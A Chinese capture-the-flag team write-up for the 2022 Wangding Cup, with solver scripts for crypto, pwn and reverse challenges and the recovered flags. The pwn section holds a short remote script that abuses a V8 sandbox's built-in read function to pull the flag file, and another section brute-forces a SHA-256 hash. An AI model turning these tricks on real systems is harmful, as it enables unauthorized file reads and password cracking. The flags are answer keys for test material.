[ CTF ]【天格】战队WriteUp- 2022年第三届“网鼎杯”网络安全大赛（青龙组）

2022年第三届“网鼎杯”网络安全大赛（青龙组）部分题目附件

【Misc】签到

flag{7c98c564-94c1-41aa-978d-d42ca16ee46d}

【Crypto】crypto405

首先p和k都未知，但是p是16位的素数，k都是小于p的。flag格式是flag{。所以第一步想法是爆破p,前五位得到方程组求k。

R.< k1, k2, k3, k4, k5 >= PolynomialRing(ZZ)
k=[k1,k2,k3,k3,k4,k5]
flag=b'flag{'
for i in range(len(flag)):
    grasshopper = flag[i]
    for j in range(5):
        k[j] = grasshopper = grasshopper * k[j]
    print('Grasshopper#'+str(i).zfill(2)+':',grasshopper)
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输出结果：

Grasshopper#00: 102*k1*k2*k3^2*k4
Grasshopper#01: 1192407267456*k1^5*k2^4*k3^5*k4
Grasshopper#02: 1918196473060530916599580974905403195260928*k1^15*k2^10*k3^9*k4
Grasshopper#03: 56112321905504104058889432264614118677688107359359075763851172322711550767834986156510191423865157053692191440896*k1^35*k2^20*k3^14*k4
Grasshopper#04: 53396244662367707127856864007524389027579357260572582679744127850279999404450619312604004485139827409110793046460181646479623909080635340073160838110289140978788817626824929446784411034165296270303004366240008622426141394072733814130556872463873302593536*k1^70*k2^35*k3^20*k4
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flag格式，得到前五个方程。然k有很多种情况，拿对应的k和p解密即可。然后就写解密逆函数。

from gmpy2 import *

c = ['2066',
     'a222',
     'cbb1',
     'dbb4',
     'deb4',
     'b1c5',
     '33a4',
     'c051',
     '3b79',
     '6bf8',
     '2131',
     '2c40',
     '91ba',
     '7b44',
     '5f25',
     '0208',
     '7edb',
     '62b5',
     'cec5',
     '5ab3',
     '3c46',
     'c272',
     '714b',
     '9e0b',
     '48ee',
     '44cc',
     '05a0',
     '3da3',
     '11b1',
     '259f',
     '899d',
     'a130',
     'e58f',
     '23f3',
     '5829',
     '6beb',
     '3681',
     '0054',
     'a189',
     '2765',
     'c63d',
     'bc68']
C = [int(i, 16) for i in c]
from gmpy2 import *


def get_key(p, As):
    a1, a2, a3, a4, a5 = As
    R.< k1, k2, k3, k4, k5 >= PolynomialRing(Zmod(p))
    f1 = 102 * k1 * k2 * k3 * k4 * k5
    f2 = 1192407267456 * k1 ^ 5 * k2 ^ 4 * k3 ^ 3 * k4 ^ 2 * k5
    f3 = 1918196473060530916599580974905403195260928 * k1 ^ 15 * k2 ^ 10 * k3 ^ 6 * k4 ^ 3 * k5
    f4 = 56112321905504104058889432264614118677688107359359075763851172322711550767834986156510191423865157053692191440896 * k1 ^ 35 * k2 ^ 20 * k3 ^ 10 * k4 ^ 4 * k5
    f5 = 53396244662367707127856864007524389027579357260572582679744127850279999404450619312604004485139827409110793046460181646479623909080635340073160838110289140978788817626824929446784411034165296270303004366240008622426141394072733814130556872463873302593536 * k1 ^ 70 * k2 ^ 35 * k3 ^ 15 * k4 ^ 5 * k5
    I = ideal([f1 - a1, f2 - a2, f3 - a3, f4 - a4, f5 - a5])
    res = I.groebner_basis()
    k = []
    for i in res:
        s = p - int(str(i).split('+ ')[1])
        k.append(s)  # 得到k
    return k

for p in range(2**16,2**15,-1):
    if is_prime(p):
        flag = ''
        k = get_key(p, C[:5])
        for i in range(len(c)):
            t = C[i]
            s = 1
            for j in range(5):
                s *= k[j]
            t = t * invert(s, p) % p
            k[0] = t * k[0] % p
            k[1] = k[1] * k[0] % p
            k[2] = k[2] * k[1] % p
            k[3] = k[3] * k[2] % p
            k[4] = k[4] * k[3] % p
            flag += chr(t)
        if flag[-1]=='}':
            print(flag)
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flag{749d39d4-78db-4c55-b4ff-bca873d0f18e}

【Crypto】crypto091

根据提示是13位号码，那就是8617000000000格式的：

import hashlib
for password in range(8617000000000,8617099999999):
    password=str(password)
    hash_password = hashlib.sha256(password.encode("utf-8")).hexdigest()
    if hash_password == "c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc" :
        print(hash_password)
        print("flag{"+password+"}")
        break
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flag{8617091733716}

【Pwn】pwn135

还是查看附件以后尝试进行连通。加上头尾再连通，

然后看看题目给出的附件，感觉这题应该可以使用内置函数，然后找了一下v8读取文件内容和js打印函数相关资料

from pwn import *
p=remote("47.94.157.80", 34698)
p.sendlineafter(b"Send your code, ending with ",b"const flag=read('flag')")
p.sendline(b"console.log(flag)")
p.sendline(b"")
p.interactive()
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（这道题。。非预期了）
flag{78686b26-1146-4c58-b75b-3673549848fd}

【Reverse】re693

附件丢进vscode中识别是go语言，然后在goland编译后发现

Input the first function, which has 6 parameters and the third named gLIhR: 
Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6
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意思是：

输入第一个函数，它有6个参数，第三个函数名为gLIhR：
输入第二个函数，它有3个调用者并调用名为cHZv5op8rOmlAkb6
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直接搜索gLIhR

然后搜索cHZv5op8rOmlAkb6

最后按照要求输入后返回flag

func main() {
    var nFAzj, CuSkl string
    jjxXf := []byte{
        37, 73, 151, 135, 65, 58, 241, 90, 33, 86, 71, 41, 102, 241, 213, 234, 67, 144, 139, 20, 112, 150, 41, 7, 158, 251, 167, 249, 24, 129, 72, 64, 83, 142, 166, 236, 67, 18, 211, 100, 91, 38, 83, 147, 40, 78, 239, 113, 232, 83, 227, 47, 192, 227, 70, 167, 201, 249, 156, 101, 216, 159, 116, 210, 152, 234, 38, 145, 198, 58, 24, 183, 72, 143, 136, 234, 246}
    KdlaH := []byte{
        191, 140, 114, 245, 142, 55, 190, 30, 161, 18, 200, 7, 21, 59, 17, 44, 34, 181, 109, 116, 146, 145, 189, 68, 142, 113, 0, 33, 46, 184, 21, 33, 66, 99, 124, 167, 201, 88, 133, 20, 211, 67, 133, 250, 62, 28, 138, 229, 105, 102, 125, 124, 208, 180, 50, 146, 67, 39, 55, 240, 239, 203, 230, 142, 20, 90, 205, 27, 128, 136, 151, 140, 222, 92, 152, 1, 222, 138, 254, 246, 223, 224, 236, 33, 60, 170, 189, 77, 124, 72, 135, 46, 235, 17, 32, 28, 245}
    fmt.Print(MPyt9GWTRfAFNvb1(jjxXf))
    nFAzj="kZlXDJH3OZN4Mayd"
    fmt.Print(kZlXDJH3OZN4Mayd(KdlaH))
    CuSkl="UhnCm82SDGE0zLYO"
    vNvUO:=GwSqNHQ7dPXpIG64(nFAzj)
    YJCya := ""
    mvOxK := YI3z8ZxOKhfLmTPC(CuSkl)
    if mvOxK != nil {
        YJCya = mvOxK()
    }

    if YJCya != "" && vNvUO != "" {
        fmt.Printf("flag{%s%s}\n", vNvUO, YJCya)
    }
}
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flag{3a4e76449355c4148ce3da2b46019f75}

【Reverse】re694

用IDA打开发现是FUK

查壳看看是否加壳

用010 Editor打开

把签名FUK改为UPX

然后脱壳

脱壳后再用IDA打开，找到main函数

其中sub_140011235是异或0x66，然后查看sub_1400111E5找到了

d=[0x4B,0x48,0x79,0x13,0x45,0x30,0x5C,0x49,0x5A,0x79,0x13,0x70,0x6D,0x78,0x13,0x6F,0x48,0x5D,0x64,0x64]

for i in range(len(d)):
    d[i]=((d[i]^0x50)-10)
    
for i in range(len(d)):
    x=chr(d[i]^0x66)
    print(x,end='')
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flag{why_m0dify_pUx_SheLL}